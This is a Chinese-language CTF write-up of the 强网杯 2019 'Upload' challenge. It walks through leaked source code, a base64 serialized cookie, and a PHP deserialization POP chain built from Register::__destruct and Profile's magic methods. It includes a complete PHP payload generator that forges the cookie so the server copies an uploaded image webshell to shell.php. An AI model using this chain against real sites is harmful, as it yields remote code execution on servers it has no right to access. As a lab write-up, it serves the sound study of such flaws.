[强网杯 2019]Upload
考点
描述
上来是一个登录框
注册一个账号然后发现一个上传文件的地方,初步猜测这是一个文件上传getshell的点
解题思路
通过爆破发现源码在www.tar.gz
,同时发现cookie的user
字段有点奇怪
base64解码后发现是一段序列化后的字符串
那么先在文件夹找cookie
字符串,发现进行了反序列化
同时在Register.php
发现了__destruct
函数,此处调用了checker
的index
方法
可以结合Profile.php
的__get
和__call
函数利用(__get
用于访问不存在或不可访问的属性,__call
用于调用不存在的函数)
这里假如访问Profile
类的index
函数的话,将会遍历except
的函数是否有index
这个键,用它的值作为函数名调用,因此令Profile
的except为array("index"=>"..")
就能调用我们想要的函数
接着往下看Profile.php的这部分代码用于处理上传的图片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } }
if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } }
public function update_img(){ $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find(); if(empty($user_info['img']) && $this->img){ if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){ $this->update_cookie(); $this->success('Upload img successful!', url('../home')); }else{ $this->error('Upload file failed!', url('../index')); } } }
public function update_cookie(){ $this->checker->profile['img']=$this->img; cookie("user",base64_encode(serialize($this->checker->profile)),3600); }
public function ext_check(){ $ext_arr=explode(".",$this->filename); $this->ext=end($ext_arr); if($this->ext=="png"){ return 1; }else{ return 0; } }
|
这里的checker不需要,因为可令它为0,令ext=1
进入下面的逻辑,注意到下面的copy
函数,可以将文件复制,由于反序列化属性可控,因此可以将我们上传的图片马的名字为filename_tmp
,更改为shell.php,所以filename
为shell.php
POP链构造完成,上payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php namespace app\web\controller;
class Register{ public $checker; public $registed; }
class Profile{ public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; }
$register = new Register(); $register->registed=0;
$profile = new Profile(); $profile->except=array("index"=>"upload_img"); $profile->checker=0; $profile->ext=1; $profile->filename_tmp="./upload/d99081fe929b750e0557f85e6499103f/29a0252735b6f28bf3118a4136f69f90.png"; $profile->filename="./upload/shell.php";
$register->checker=$profile;
echo urlencode(base64_encode(serialize($register)));
|
方法:将图片马上传,然后将filename_tmp更改为图片马的路径,然后生成payload更改cookie的user字段,就成功了